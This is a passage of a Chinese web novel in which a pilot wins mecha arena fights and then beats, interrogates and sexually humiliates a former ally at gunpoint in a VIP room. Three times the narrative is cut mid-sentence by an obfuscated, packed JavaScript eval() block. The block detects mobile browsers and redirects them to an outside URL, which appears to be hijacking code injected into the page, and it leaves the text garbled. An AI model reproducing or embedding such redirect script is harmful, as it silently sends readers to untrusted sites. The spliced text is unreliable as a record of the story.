过了十来分钟后,也终于是到槐翎的回合了。 她戴上头盔,把风衣的拉链拉到顶,全身上下都包裹在黑色当中,常人都不能分辨出来这到底是男的女的。 槐翎反手跳进去泰坦的驾驶舱,驾驶舱的按钮都颇为复古,还都是实体按钮,随着一阵低沉的嗡鸣,泰坦缓慢地移动起来,一步接着一步走出休息室的大门。 她还是第一次走进竞技场的内部,在这里听见的声音和在VIP室里听到的截然不同,这里的声音更加响亮,雄厚,甚至能够听到大家的心跳声与呐喊。 这些呐喊是为了谁而发出的?槐翎不禁地思考起来,她感觉自己原本平静的内心也因此多了几分波动,原来站在这里的感觉是如此——奇妙又怪异。 奖池已经积累了一千万,她模模糊糊地想起来,自己也曾经在那里下注了一千万,对,是为了小久。 这个名字变得有些陌生,让槐翎回想了好一会才想起来这个名字的主人。 现在的她倒是有几分体会到当时小久的心情,当初的他孤注一掷,驾驶着破破烂烂的泰坦,为着自己的未来而战斗。 和小久不一样的是,槐翎并未走向绝路,而她早就预知到自己的未来。 对侧走来的是和她同款的泰坦,颜色不同,对方的机体更新一些,状态保持得很好,在泰坦的右肩处涂了个红色的交叉,看上去多了几分肃杀。 莫西干头并未关闭舱门,他对着观众席用力地挥手,嘴里说了些不干不净的话,又对着槐翎这边做了些挑衅的手势。 槐翎并未理会这些无聊的举动,莫西干头做这些无非是想吸引注意力,好让观众多下注罢了,竞技场的庄家最喜欢这种猴子,能带动气氛,还能吸引人下注,可惜的是,恐怕他今天是不能如愿了。 “这位是我们胜率有66%的老朋友!快看他的爱机,依旧是那么的英姿飒爽,不知道今天他会带来怎么样的表演呢?作为退役的军-人,在战场上拥有多年实战经验,恐怕今天的对手很快就会败下阵了!” “再看看我们今天的新挑战者,0号!很遗憾我手头上没有她的其他信息,这位无畏的挑战者,竟然用上了和我们老朋友一样的机子,这到底是巧合,还是一种挑衅呢?” 主持人的添油加醋地乱说了一通,槐翎平静地活动了脖子,等待倒计时。 等观众席的热度被炒起来后,比赛终于要开始了,莫西干头在倒计时刚结束的那一瞬间就冲了上来,他对自己的机体很自信,在战场上最忌讳犹豫不决,只要有了一秒的迷茫,很有可能就此送命。 “我的老朋友,今天我将要为你添上新的战绩!”他一边大喊着,一边直接向槐翎袭来,他的泰坦上装有一把链锯,他有自信只要一碰到对手就能迅速缠上,并且用链锯撕碎它们的装甲。 槐翎不慌不忙地驾驶泰坦躲避了莫西干头的攻击,莫西干头愣了一下,以丰富的实战经验马上就明白过来这不是一般人能做到的操作。 他心里只有一个猜测,并未确定,于是很快就重整旗鼓,故技重施试图命中槐翎,而槐翎只是再次避开了他的攻击,待到槐翎确定了他只有这一种攻击方式时,槐翎彻底放松了下来。 “你这个家伙,是改了操作系统?这个型号绝对不可能有这样的操作精度!”莫西干头这下才明白发生了什么,他扯着嗓子大喊,从操作上他或许技不如人,但从气势上,他绝对不能输! 槐翎懒得理会他在对面嚷嚷什么,她改装的时间不长,只来得及在自己的泰坦上装一把伸缩钢刃,虽然不起眼,但命中要害时能够发挥出不亚于炮弹的威力,在这个竞技场内使用足够了。 她清楚这个型号的泰坦有着怎样的弱点,更何况对面是个莽夫,要命中那个弱点一点也不难,她轻蔑地一笑,迅速地利用惊人的细节操作绕到莫西干头的身后,未等莫西干头反应过来,泰坦藏于手部的伸缩钢刃就刺入了对手的动力背包里。 只这一下还不够,槐翎把钢刃拔出来,趁着动力背包短路的空隙,她明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13368843|138747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白此时莫西干头肯定还不知道发生了什么,于是她乘胜追击,用钢刃削去了对手的右臂,硕大的右臂从空中甩了出去,像个炮弹一样在观众席内炸开,好几名观众躲避不及被砸了个粉身碎骨。 顿时观众席上一片叫骂声,主持人也跟着大呼小叫辱骂着槐翎,很快这份辱骂转变成吹捧,来到竞技场的人都是些贪图刺激的赌徒,还有什么比危害生命还刺激的吗? 莫西干头因为这冲击差点晕过去,他不可置信地看着失去了右臂的泰坦,嘴里喃喃自语,像是要精神崩溃,几秒后,他的眼神突然变得坚定起来。 “你竟然小看了我和她之间的羁绊?她可是我的伙伴,是我在战场上的守护神!”他夸张地喊着,左手上的链锯滋滋作响,从没关的舱门里能看到他癫狂的神情,唾沫横飞快要溅满竞技场的每一个角落。 槐翎面露嫌弃,亮出手里的钢刃,轻易地挡下了链锯的攻击,虽然对方的功率很大,逼得槐翎不得不后退几步,莫西干头跟发狂了似的,拼了命的去攻击槐翎,然而每一次攻击都被槐翎漂亮地挡下,他原来的热血也在一次次失败落了下风后变冷下来。 槐翎不想再这样浪费时间了,她深吸气,挥手让钢刃削去剩下的那只手,因为动力背包被破坏的缘故,这只手本就动力不足,因此没有和第一只手那样甩出去,在莫西干头身后的观众都暗暗松了口气。 左手重重地掉落在地上,扬起了一阵灰尘,遮蔽了竞技场内的现状,莫西干头被烟雾呛得满脸通红,他沉默地流下两行清泪,整个人看上去都像是失去了生存的意义。 看着垂头丧气的莫西干头,槐翎把钢刃收回去,并未有取他性命的意思,反正之后那些赌徒会好好教训他一顿的。 观众席上不知道怎么地引起了一场骂战,听不清是在骂哪一边,反正话都不那么好听就是了,主持人也没放过这次机会,趁机给这场骂战添上了一把火,在他的运作下,数不清的垃圾扔到了莫西干头的泰坦上。 罐子碰撞到泰坦的外壳,发出了清脆的声音,莫西干头听到这个声音后像是刚刚从噩梦中醒来,他焦急地跳出驾驶舱,想要去抚摸被罐子砸出坑的外壳,但这种举动只惹来了更大的怒火,那些罐子通通都砸到了莫西干头的身上,他吃痛地承受着一切,甚至膝盖一软朝着观众席下跪,嘴里念念有词。 “大家砸我就是了!请对我的伙伴手下留情!” 槐翎平静地看着这一切,她缓缓背过身去,比赛结束了,她留在这里的意义不大,而就在此时,她从驾驶舱的显示器里看到站在VIP室里的身影。 因为玻璃是单向的,她只能看到一个高大的黑影,甚至分辨不出性别,那人站在窗边,修长的身姿变得模糊,他好像在透过玻璃在看什么。 这个人很有可能就是皇帝的人了,能用VIP室的人不多,恐怕那一千万也是他的手笔。 槐翎心想反正今晚就能见到了,并未过多关注这个身影,她不慌不忙地离开竞技场,回到了自己的休息室。 34. 第 34 章 雨又下起来了。 和之前的寒意不同,现在这场雨倒是使得整个城市变得闷热起来。 槐翎缩在驾驶舱内,没有一点风能吹进来,就这么穿着外套被闷出一身汗来。经过这次实战她知道这个泰坦的实力限制,为了不出意外,她还是趁着空隙抓紧把系统进行再次的修改。 况且下雨对于这些老旧的机器来说不是什么好事,这些陆战型的泰坦适用的地形多数是干燥温暖的平原,槐翎的父亲曾经带领过军队驾驶泰坦走在最前线,而槐翎则是跟着母亲在后方支援,母亲是个聪明的人,她总能一阵见血地指出父亲方案上的错漏处,用温和带着些许严厉的语气让大家信服。 现在的槐翎极少会陷入回忆,她意识到自己稍微有些走神了,于是睁眼闭眼数次让自己回过神来。 等到程序自行跑起来后,槐翎有了休息的余裕,她走到休息室的门口,打开门让外面的风吹进来,竞技场内的欢呼声络绎不绝,主持人的嗓音甚至都有些沙哑了,看来又有精彩的战斗了。 说实话这些观众并不爱看什么一击毙命的戏码,他们沉迷的是人与人之间的困斗,能看到人类为了生存沦为玩-物是一件很有意思的事,因此刚才槐翎的比赛并未掀起什么波澜,毕竟从观赏性来看就已经输了那种有来有回的比赛一截了。 槐翎抱着手臂站在那里看了好一会,虽然不想承认,但现在的她也变成了猴子,成为台上的玩-物,无论目的是什么,这都是不可动摇的事实。 她并未感到屈辱,相反,体内的战斗基因让她感到热血沸腾。 休息室内的红灯亮起,看来是又到槐翎的回合了。 * 雨下得比之前要再大一些,能见度迅速降低,槐翎坐在驾驶舱内听见雨水打在外壳上的声音,滴滴答答的像是交响乐,她能看到雨水灌进泰坦的关节内,生锈的关节动起来便发出沉重的声音。 对手的机子要浮夸不少,外壳上是各种五颜六色的涂鸦,看起来每个部位都是拼凑的,除了造型还像泰坦外,基本上都快脱离泰坦这个概念了。 从主持人的介绍得知,他是上一次比赛的冠军,虽然不知道出于什么原因还留在这里,但是很显然他依旧是本次比赛夺冠的热门。 他的动作和莫西干头截然不同,行事谨慎,在这暴雨的天气下,他这么做反而对自己有好处,竞技场的地面是简单用沙子铺设而成的,更别说E区那简单的排水系统,一般泰坦想要在这上面行走都给注意些,更何况是这种拼凑起来的泰坦。 槐翎热得也想开舱门,当初为了节省能源,她是切断了内部的温度调节系统的,现在倒是反噬了,她能感觉到从脖子流下来的汗滴到她的膝盖上,慢慢晕开了一片深色。 现在槐翎心里只有一个念头了,她想快点结束这场战斗。 对面显然不是这么想的,他的动作虽然不快,闪避的时候动作幅度也不大,却能多次避开槐翎的猛攻,很明显就是老手,起码在驾驶泰坦这件事上有十年经验,上一个莫西干头虽然说是退役的,但显然从意识上来说就与他有差距。 槐翎的试探已经完成,对手有什么实力也一清二楚,她操纵泰坦后退一步,拉开了些距离,刚刚收起来的钢刃再次伸出,银色的刀刃在雨中反射出泰坦眼里的光。 她不清楚对方的泰坦弱点是什么,但泰坦的设计不外乎是那几个弱点,动力背包,关节,头部,驾驶舱是特别加固过的,很少会有人直接攻击驾驶舱,但只要针对那三个弱点进行攻击,就能发挥出事半功倍的效果。 槐翎沉下心来,她的目标是泰坦的头部,主显示器都在头部,只要破坏了就能大大削弱对手的能力,锋利的钢刃毫不留情地划过对方泰坦的外壳,划出了一片火花,照亮了雨夜中的竞技场,没想到只是普通一击,钢刃就已经有了些许卷刃,看来对方是特别针对设计上的弱点做了加强的。 她一鼓作气,手里握着控制杆,面上毫无慌乱,这个弱点不行的话那就下一个,没有什么是不能战胜的! 槐翎的黑色机体在雨夜里像是幽灵,她动作流畅,迅捷,在闪避的时候甚至会让人的肉眼无法捕捉,明明是淘汰了的机体,却硬生生开出了新型号的错觉,而驾驶员也和这机体一样沉默寡言,大家还未见过驾驶员本人,面对对方的挑衅与辱骂都无动于衷。 暴雨还没停下,竞技场内已经有了积水,每次踩上去都会溅起巨大的水花,比较靠近地面的低层观众已经挪到中层,免得被溅到一身污水。 这场战斗已经持续了有二十分钟,依旧未能分出高下。 两个泰坦所受到的伤害也不多,主持人早就解说得口干舌燥,但还是为了跟上他们的动作拼了命的进行解说,连水都没有时间喝一口。 大家都闭着嘴全神贯注地去观看,去见证这场难得的比赛最后会变成什么样,每一次的攻击,都会引来在场所有人的颤抖。 打破这份专注的,是来自VIP室的加注。 又有一千万投进奖池,而这份奖金是押在上届冠军身上的,他的支持者也随之开启了狂热时间,他们跟着这位VIP疯狂下注,眼看着奖池的累积金额越来越高,对方似乎情绪也被带动了起来。 他的攻击变得更加猛烈,在猛烈中不输精准,很明显这对他来说是极大的鼓励,并且在金钱的作用下他也没有蒙蔽自己,反而提升了实力。 槐翎除了钢刃没有别的什么攻击手段,再这么下去自己的泰坦会先被毁掉从而输了比赛,她只好利用单手操作,一只手去阻挡攻击,另一只手开始修改系统设置,她的汗水快要把自己淹没,全身心都投入到改进泰坦里面去。 “动力模块功率修改完毕,负重模块关闭,火力模块改写完毕……”她嘴里念念有词,电脑上白色的光映在她的眼里,半分钟后系统进行重置,泰坦竟然完全停了下来。 对手自然是不知道发生了什么,刚刚还挡下了所有攻击的泰坦突然停了下来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13387728|138747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连动力背包都是关闭的状态,难道是放弃抵抗了吗? 观众也面面相觑,主持人看着台上的泰坦,不知道该说点什么。 “难道……是泰坦坏了吗?”主持人不可置信地看着槐翎的机体,对面的裁判摆摆手,示意他宣布比赛结束。 “比赛结束!快把上面的败犬拉出来,竟然就这么结束了,这是把我们当傻子看吗?!”主持人扯着嗓子吼道,原本还不知道发生了什么的观众马上就反应过来了,他们激动地拍打观众席上的椅子和围栏,发出了强烈刺耳的噪音。 槐翎的对手愣了一下,但很快明白了过来,这份拱手让出的胜利,他可就要这么收下了,他伸手想去破坏槐翎泰坦上的外壳,只要破坏驾驶舱的外部装甲,就能把驾驶员挖出来,到时候他可要看看里面是什么人。 然而事与愿违。 在他快要触碰到外部装甲的那一瞬间,槐翎的泰坦突然亮出了钢刃,从下至上撕开了他的手部,零件在空中炸开成四分五裂。 “什么?”没等他反应过来,槐翎的动作突然变快,那钢刃有着比炮弹还要快的速度,迅速地撕裂了他身前的装甲,露出了数不清的管线与骨骼,在雨中炸开了无数的火花。 槐翎的泰坦从装甲的缝隙里喷出了大量的蒸汽,泰坦的头部发着幽幽的光,如果泰坦有生命的话,此时它一定是张开了自己的嘴巴,亮出它那代表恐惧的獠牙。 下一秒,钢刃划开了他的肩部,速度快得无法捕捉,失去了装甲庇护的他,只能完全承受来自槐翎的攻击,刀刃停在了驾驶舱的上方,只要再往下多一些,就能看到瘫痪在内的驾驶员,他浑身湿透,瑟瑟发抖地缩在驾驶舱内。 槐翎还是保留了一丝仁慈,她驾驶着泰坦后退了几步,把生还的机会留给对手。 “怎么会!原来那不是认输?是战术上的设计?”主持人用极其夸张的腔调把自己说过的话给掩盖过去,台下的观众明白自己被摆了一道,但他们未敢表达任何不满,因为他们切切实实地从那黑色的机体里感受到了铺天盖地的杀意,那是能够轻易碾死所有人的恶意,强大得让人不由自主地想要臣服。 来了好几个人把对面得驾驶员拖了下来,他的身体僵硬,虽然身上没有外伤,但整个人都失去了血色,煞白得像是被人抽干了生命。 槐翎预感到自己的机体也差不多要报废了,后面的比赛很有可能没办法参加,于是她迅速摸了两把武器藏在身上,等着机会混进去VIP楼层。 只不过没等她走出休息室,一名穿着西装的经理笑眯眯地走了过来。 “你就是0号,对吗?” 槐翎点头,并未出声。 “你后面的对手,都已经签字同意退出比赛了,”经理顿了一下,他搓着手露出几分谄媚,“也就是说,你是今晚的冠军。” 槐翎扯了扯嘴角,原来,拿个冠军这么简单啊? “来一趟VIP室吧,我们的客人想要见你。” 35. 第 35 章 VIP楼层依旧是原来的装潢,不过时间并未掩盖这份奢华,永远闪闪发亮的围栏与镶嵌宝石的吊灯,充满香气的空气,是与E区截然不同的世界。 来回走动的工作人员用余光打量槐翎,他们不是没见过赢得冠军的人,但没有一个人会像槐翎这样,从头到脚都包起来连个皮肤都看不见,在柔软的手工地毯上行走的时候也没一点局促。 经理是人精,恐怕早就意识到了今天的客人和冠军不一般,他狭长的眼睛四处张望着,又压低了声音与槐翎对话。 “我们这位大人可是从A区过来的,能够获得他的接见是你的荣幸,在你进去之前,请把头盔摘下来。” 槐翎脚步一顿,的确现在比赛已经结束,外面的人也看不见她的脸,只不过要是一进去是认识的人,岂不是马上就暴露她的身份?要知道当初她的名字和脸可是全国范围内播报了好几次,是实打实的名人。 不过,她费尽心思混进这里,不也是想获得情报吗?总会是要翻脸的,只是看早晚罢了,要是遮遮掩掩反而耽误时间。 如此想来,倒不如先下手为强,一进去就挟持,看到脸就看到了吧,从别的区调动机动部队尚且要几个小时,她有信心能够逃脱。 槐翎解开头盔,露出一张汗涔涔的脸,她的头发虽然都盘起来,但依旧有发丝黏在脸上,整个人看上去还有些狼狈。 经理接过她的头盔,大着胆子去打量槐翎,他眼里满是迷茫和好奇,好奇的是这张脸好像在哪里见过,迷茫的是他没办法想起来这张脸该和什么对应起来。 拿走头盔后,经理还是笑吟吟的,没有走开的意思。 “你身上应该带有什么不该带进去的东西吧,比如武器什么的?”他早就注意到槐翎鼓鼓囊囊的口袋,再加上槐翎那张透露不出喜悦的脸,怎么看都不是正儿八经的猴子。 槐翎进行了一阵思想斗争后,还是乖乖地把藏在腰后的两把手枪交了过去,有个女经理甚至走过来搜了身,见也搜不出什么才让开了路。 在一男一女两个经理的带领下,槐翎才得以接近VIP室的大门,上次来的时候这里的人可是点头哈腰就差把她背进来,现在还得搜身才能进,槐翎自嘲地笑了,连接VIP室的走廊空调很足,她身上的汗迅速干了,算是在这闷热天里的唯一一点慰藉。 经理又打量了槐翎一遍,确定没什么问题后才轻轻敲门,几秒后,传来了低沉的一声“进”。 槐翎深吸了一口气,从声音来听毫无疑问是一名男性,年龄可能在二十岁到三十岁之间,她努力控制情绪,在脸上挤出一个甜美的笑容,而后昂首挺胸走进了VIP室。 一名高大的男性穿着黑色高领上衣背对门口,他的肩膀很宽,只能看到个侧脸,头发剪得很干净,卷起的袖子露出了手臂,能清晰看到上面的肌肉线条,下身穿着的裤子把相对纤细的腰部勾勒出来,槐翎愣了一下,后知后觉自己观察这个人有点太久了。 听到开门的声音后,他缓缓转过身来,露出了一张槐翎绝对不陌生的脸。 五年的时间可以说很长,也可以很短,对于槐翎来说,她觉得眨眼便过了,但对于眼前这个人来说,五年改变了他太多。 他的脸上全无之前的温和善良,转而是一种从在战场浸淫多年的淡漠,那双曾经深邃的眼睛失去了所有的光芒,像是一潭死水,再也没有什么能让他的心底有任何波动,他的嘴唇一如既往的苍白,往前总是微微上扬的嘴角垂了下来,整个人看上去只剩下生人勿近的气场。 在看到槐翎的那一瞬间,他的表情未有太大的变化,只有那微微睁大的眼睛暴露了些许内心的变化。 “你真的没死。”他的声音很低,说话的语气也和之前完全不一样。 槐翎也很想说这句话,她原本以为小久早就执行死刑,现在估计都四岁了,没想到这个人竟然还活着,甚至真正地成为了皇帝的走狗,如今站在E区最尊贵的VIP室里,这得多讽刺啊? 她的笑容僵在了脸上有一刻,而后她迅速敛起笑容。 “都是老熟人了,不如谈谈吧?”槐翎往前走了几步,拉近了二人之间的距离,身后的两名经理面面相觑,不知道这房间的氛围怎么突然就变了,一股不可言说的怪异氛围包围着那两人,让人起了一身鸡皮疙瘩。 “我跟你没什么可谈的。”小久抱着手臂,他充满警惕心地看着槐翎,眼神里满是拒人千里之外的冷漠。 “我跟你倒是有挺多要谈的。”槐翎侧身看向二位还在看戏的经理,“能不能请你们出去一下呢?”她面带微笑,眼里却没有笑意。 经理们瑟瑟发抖,连忙看向小久,希望小久能说点什么。 小久只站在原地,眼神定在槐翎身上,约莫过了几秒后,他轻轻颔首。 经理们如获大赦,点头哈腰地退了出去把门关得严严实实的,生怕这两人牵涉到别的客人。 “他们这是怎么了啊?”女经理低声问道。 男经理摇头,同样一脸迷茫,“要不我们发个短信给老板?” 房间里依旧是沉默的,槐翎站在柔软的地毯上,快速地观察了房间的摆设,一张长沙发和两张单人沙发,中间的茶几摆放着早就冷掉了的食物,刀叉还整齐地放在旁边,目光所及之处似乎没有藏起来的人和武器。 小久这会才慢慢走过来,他的脚步很轻,是经过专门训练的,槐翎听出来这种细微的分别,这几年他果真去做皇帝的走狗了。 槐翎面露不快,她放在口袋里的手指缓缓收紧,她没愚蠢到要交出去所有的武器,藏在衣袖里的小刀足够自卫,甚至还能取掉几个人的性命。 小久来到槐翎的跟前,他长高了,甚至比槐翎还要高半个头,光是站在那里就有了几分压迫感。 他并未低头,而是垂下眼眸居高临下地俯视槐翎,槐翎还没这样被人盯着看过,她感觉自己的自制力正在一点一点消失,手里拿着的小刀正轻轻颤抖。 “你觉得我还会听从你的话?向你摇尾巴?”小久依旧保持着同样的姿势与槐翎说话,槐翎从他那看似平静的眼眸里看出了浓烈的愤怒,还有敌意。 想要让他听话进行沟通是不可能的了,为今之计只有用暴力手段了。 槐翎的手比脑子还快,她倏地从口袋里抽出一把小刀,刀刃朝下握在手里就要往小久身上刺去,水晶吊灯照耀了那银色的刀刃,刺得人张不开眼,然而槐翎的小刀并未能接触到小久的身体,要说为什么,只是在她挥刀的那一瞬间,小久就已经识破了她的意图,并且用左手控制了她的手腕,男女本就力量有差距,就算是槐翎这样经过专门训练的人,也一时难以逃脱。 小久用力地攥着她的手腕,手腕处传来的疼痛迫使槐翎松开手,藏起来的小刀随之掉在地上,插在昂贵的地毯上。 被卸了武器的槐翎并未恼怒,她昂起头,露出了最虚伪的,最邪恶的笑容。 “做他的狗,和做我的狗比起来,哪个更合你心意?” 小久手上的力度更大了些,很快就让槐翎的手上出现了一圈红印,槐翎知道这句话果真能戳到他的痛处,从底层爬上来的人,最讨厌自己在底层的回忆,更别说槐翎就是他这段屈辱生活的见证人了。 没等小久回话,槐翎迅速地抬腿攻向他的手臂,她这一腿用了十足的力气,就算是两百斤的人吃了这一招也得受到不少冲击,小久的手果然松了些,得到了这一空隙的槐翎灵活地收回自己的右手,她像是变魔术一样,从小久的腰后摸出了一把手枪。 漆黑的枪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13403715|138747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口对着小久的头,她解开保险栓,在这安静的房间内异常地响亮。 “跪下。”她命令道。 小久直勾勾地盯着她,并未有任何动作。 槐翎从来不把话说第二次,她枪口一歪,而后扣下扳机,一枚子弹射出,擦过小久的头发落在了特制玻璃上,子弹卡在了玻璃上,玻璃呈网状破碎但并未整面裂开。 “下一枪就是你的头。”槐翎说一不二,她再次用枪口点了点。 小久眨了下眼睛,黑色的眼睛还是盯着槐翎,等了一会后,他的身体慢慢地弯了下去,槐翎只觉得心里一阵畅快,她大笑着,笑声肆意又嚣张。 然而小久并不打算真的跪下,他猛地伸手控制了槐翎拿着枪的手臂,另一只手抓着槐翎的衣领迫使她靠近自己,又抬起腿往槐翎的胃部压去,槐翎全然没想到小久会来这一招,她只感觉自己的右手手臂一阵剧痛,随之而来的是胃部的冲击,她咬紧牙关才没让自己吐出来,疼痛逼迫她松开手,手枪立刻被小久踢走,而槐翎则是姿势颇为难看地倒了下来,幸好底下的地毯柔软,不然她指定会受到更大的伤害。 不仅如此,小久还把身体压了下来,胸腔被用力压迫的痛苦使得槐翎马上就感觉呼吸困难,窒息与疼痛让她没有了反抗的能力,见她神色痛苦,小久稍微松开了些手,但身体依旧压在槐翎的胸腔上,右手控制了槐翎的两只手,左手则是掐着槐翎的下巴,迫使她面对自己,遗憾的是他现在手头并没有手铐,不然他定会先把槐翎的手给铐起来。 他们的身体紧紧贴在一起,却全无旖旎之意。 槐翎盘起的头发全部散开,红色的长发像是红色的流光披散在她身后,水晶吊灯下的她看上去迷人又危险。 她张嘴笑了,露出了洁白的牙齿,就算是在这种情况下,她竟然还有余裕。 “这次该轮到你了。”小久从牙缝里挤出这句话,他眼尾发红,不知道是因为愤怒还是因为别的情绪。 “到我?”槐翎哼了一声,“你有点太自以为是了。” 说完,她用膝盖一顶,命中了小久的要害,他果真吃痛地松开了手,槐翎抓着他的衣领用巧劲把小久甩到旁边的空地上,他没想到槐翎会有这样的力气,落在地上时没忍住发出一声闷哼。 槐翎利落地捡起掉在一边的手枪,因为打斗,此时身上都是汗,她单手脱掉身上的外套,露出了只穿着背心的精壮身体。 她的优势再次回来了,眼里满是寒意。 不等小久站起来,槐翎的枪口就已经再次对准了他,就算小久有着再快的反应,也不可能比槐翎开枪的速度快。 槐翎蹲了下来,居高临下地俯视倒在地上的小久,用自己的外套控制了小久的双手,他的胸口快速地起伏着,眼睛死死盯着槐翎,槐翎突然很讨厌他这副模样,她坐了下来,全身的重量都压在他的身上。 她一身肌肉,本就长得高,体重一直不低。 这样压下去,小久几乎无法呼吸,他的手紧紧抓着槐翎的衣物,一张脸憋得通红。 “这个世上只有我-骑-别人的份。”话音刚落,她再次往身下压了压,冰冷的枪口也对准了小久的喉咙。 他想要挣扎,手臂上的青筋尽数突起,呼吸也变得紊乱,但现在的他彻底被槐翎控制住,他知道槐翎绝对会毫不犹豫的,一点都不留情地开枪,就算在这里打死他,槐翎也不会有半分动容。 “里面真的没关系吗?”女经理吞了吞口水,从刚刚开始,房间里就传来了奇怪的声音,有的时候是女人的声音,有的时候是男人的声音,还能听到什么跪下、骑-身上什么的…… “老板已经在赶过来了,不用担心,我们现在可不能乱了阵脚。”男经理做了个手势,让女经理说话声音小点。 36. 第 36 章 雨滴打在玻璃上,发出滴滴答答的声音。 槐翎身上的汗珠滑了下来,掉在了小久的身上,他感受到冰冷的汗珠在皮肤上滑过,激起了他一阵寒颤。 她体力本就有消耗,驾驶完泰坦还得来这里打架,此刻已经能感觉到手臂略有酸软。 “从现在开始,我问你什么,你就答什么。”槐翎揪着他的衣领,拿着枪的手依旧稳健有力。 小久安静地看着她,并未有反应。 “是皇帝派你来的?” 小久移开了眼睛,他看起来并不想回答槐翎的问题,这副态度很轻易地惹怒了槐翎。 她咬着牙在小久耳边一字一句地说道:“张嘴,不然我把你下巴卸了。” 小久不为所动,他握紧了拳头,几滴冷汗从他额间流下,且眉头紧蹙,整个人都处于高度紧张的状态。 槐翎并不奇怪他会有这样的反应,那个部队的人经过严格的训练,就算是酷刑伺候也不会透露半点机密,当真是皇帝最忠诚的走狗。 她言出必行,伸手往小久的下巴关节按去,小久迫不得已张开了嘴,他满脸冷汗,眼尾发红,眼神倔强。 “来E区是为了什么?”槐翎咬紧牙关地问。 小久依旧保持沉默,见什么都问不出来,槐翎心里的火气更盛,她用枪托狠狠地往小久的侧脸砸去,枪托划破了小久的脸,血液马上流了下来,染红了他的苍白的脸。 而他依旧不卑不亢,不透露半点信息。 槐翎也不忍了,她把枪口贴在到小久的嘴唇上,在血液的沾染下,此时他的嘴唇终于变得鲜红。 “含-着,不然我就把你的牙齿都打掉。” 小久显然没想到槐翎还有这种要求,他睁大了眼睛,不可置信地看着槐翎,实在是不明白她为什么要这么做,如果要羞辱他,现在这样已经足够了…… 槐翎一点也不惯着他,左手按着下巴关节,右手拿着枪就往小久的嘴里塞,他没有半点反抗能力,原本紧闭的牙齿被撬开了,枪口强硬地进入了他的口腔,不仅如此槐翎还充满恶意地往口腔深处探去,惹得他一阵反胃。 他的嘴巴闭不上,牙齿磕到枪口上,面红耳赤,睫毛颤抖着,唾沫控制不住地流了出来,完全没有了刚刚反击槐翎的气势。 “嘘,轻点,别用牙齿咬……”槐翎轻声说着。 看着他这副如同丧家犬的模样,槐翎心里一阵畅快,无论过去多少年,小久还是那条对着她摇尾巴的狗。 “你不说没关系,我总会有办法的。”槐翎用枪口碾了碾他的舌根,看他痛苦地挣扎,又强硬地把枪口拿出来,上面沾满混着血丝的唾沫。 小久喘着粗气,他好一阵咳嗽,嘴里都是铁锈味,平静下来后凶狠地瞪着槐翎。 “你折磨我没有用。”他的声音沙哑,嘴角流下的血液将要凝固。 “有没有用是我说了算,我现在让你说话了吗?”槐翎左手一巴掌过去,力气不大,但打在小久的脸上是火辣辣的疼。 * “我们是不是误会了什么?这…你也应该听到了吧?”女经理脸红红地看向男经理。 “可是这哪有一见面就…”男经理差点咬了自己的舌头,“老板刚发短信说要到了,要是我们真误会了的话?” 女经理大惊失色,差点就要跳起来,“我们要是坏了别人好事,是要被炒鱿鱼的吧?” “什么好事?怎么不让我听听?”被称为老板的殷肆满脸汗地站在他们身后,他还穿着上台演出时的服装,既华丽又性感,露出了一大片胸膛。 因为是跑过来的,他还在大喘气。 “就是…今天比赛的冠军和里面的VIP客人,好像打得挺火热的……”女经理的声音慢慢小了下去。 殷肆还没来得及问更多细节,脑子一热身体就先活动了起来,他用力一脚踢开VIP室的大门,只见槐翎坐在中央的沙发上,旁边跪着一个男性,双手被捆住,脸上都是伤口。 殷肆的脸唰地一下变白了,后面跟进来的经理也跟着进来,如果不是男经理动作快捂住女经理的嘴,她就差点要发出惊呼。 “客人,我们这里不是这种场所……”男经理抢先一步说出了竞技场内早就设置好的官方用语。 殷肆狠狠地剜了他一眼,男经理立马就闭嘴了。 “阿翎,”殷肆往前走了一步,他承认这个画面是有点冲击性,现在也没想好该怎么办,但直觉告诉他,怎么着也得先阻止槐翎。 “你来的正好,我要把他带回去审。”槐翎并不惊讶为什么殷肆会在这里,E区里什么势力都有,竞技场能在这里横行霸道多年,没有别人的帮助不太可能,况且殷肆的身份能敛财,还能隐瞒不法收入。 “等等,阿翎,你真的觉得这样好吗?”殷肆摆了摆手,他偷偷看了眼跪在旁边的小久,虽然低着头,但依旧能感觉到他的敌意,还有他周身散发出来的气场,如果真让槐翎绑了,可能后果会超出所有人的想象。 而且殷肆记得,他身边带着的手下都有好几个,怎么这会一个都没出现? “要不我们先单独谈谈?”殷肆还是坚持要把槐翎从房间里带出,至少他们之间的对话不能让外人听到。 槐翎不明白他还想谈什么,她侧头看了一眼老实了的小久,心里也在考虑要不要听听殷肆想说什么,如果都是那些车轱辘话的话,槐翎是不怎么感兴趣的。 如果能给出一些具有建设性的建议,那么听听也无妨。 